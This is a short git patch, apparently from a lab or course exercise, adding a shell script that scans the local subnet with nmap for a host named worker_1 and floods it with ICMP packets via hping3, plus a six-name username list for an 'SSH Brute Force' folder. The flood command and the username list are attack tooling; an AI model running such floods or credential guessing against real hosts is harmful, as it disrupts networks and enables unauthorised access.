From f2132b38e5ad9770e3e7415c0c1c73b358944ae8 Mon Sep 17 00:00:00 2001 From: AndreasNefeli Date: Sun, 24 Jan 2021 13:32:52 +0000 Subject: [PATCH] Upload files to '2. SSH Brute Force' --- 2. SSH Brute Force/master.sh | 4 ++++ 2. SSH Brute Force/usernames.txt | 6 ++++++ 2 files changed, 10 insertions(+) create mode 100644 2. SSH Brute Force/master.sh create mode 100644 2. SSH Brute Force/usernames.txt diff --git a/2. SSH Brute Force/master.sh b/2. SSH Brute Force/master.sh new file mode 100644 index 0000000..a3abd8e --- /dev/null +++ b/2. SSH Brute Force/master.sh @@ -0,0 +1,4 @@ +my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') +network=$(echo $my_ip | sed 's/.[0-9]$/.*/') +worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') +sudo hping3 -p 80 --flood --icmp $worker diff --git a/2. SSH Brute Force/usernames.txt b/2. SSH Brute Force/usernames.txt new file mode 100644 index 0000000..dbc818c --- /dev/null +++ b/2. SSH Brute Force/usernames.txt @@ -0,0 +1,6 @@ +Andreas +Nefeli +mpampis +oduseas +mhxalhs +docker